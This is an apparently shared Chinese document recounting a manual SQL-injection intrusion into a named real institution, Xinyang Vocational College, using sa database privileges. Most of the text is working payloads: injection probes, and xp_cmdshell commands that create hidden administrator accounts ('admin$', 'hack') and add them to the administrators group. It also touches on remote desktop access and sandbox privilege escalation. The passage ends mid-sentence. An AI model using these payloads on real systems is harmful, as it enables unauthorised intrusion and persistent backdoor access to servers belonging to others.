sa权限手工入侵信阳职业学院脚本安全电脑资料.docVIP

sa权限手工入侵信阳职业学院脚本安全电脑资料 今天玩的时候遇到一网站存在sa权限,又开3389,于是就拿出啊D去建立个帐号,然后就 没想到运气不佳,于是想到可传个vbs脚本上去也是提示找不到指定路径,无奈之下用手工 试了下 建立帐号admin$ 密码为hehe 网站页面正常显示,说明成功执行 ;exec master.dbo.xp_cmdshell user admin$ hehe /add 提升权限为员组 ;exec master.dbo.xp_cmdshell localgroup administrators admin$ /add 成功建立 1.判断是否有注入;and 1=1 ;and 1=2 ;and user_name()=dbo 判断当前系统的连接用户是不是sa 2.添加系统的管理员 ;exec master.dbo.xp_cmdshell user hack 123/add;-- ;exec master.dbo.xp_cmdshell localgroup administrators hack /add;-- 有时候我们也可以用沙盒提权来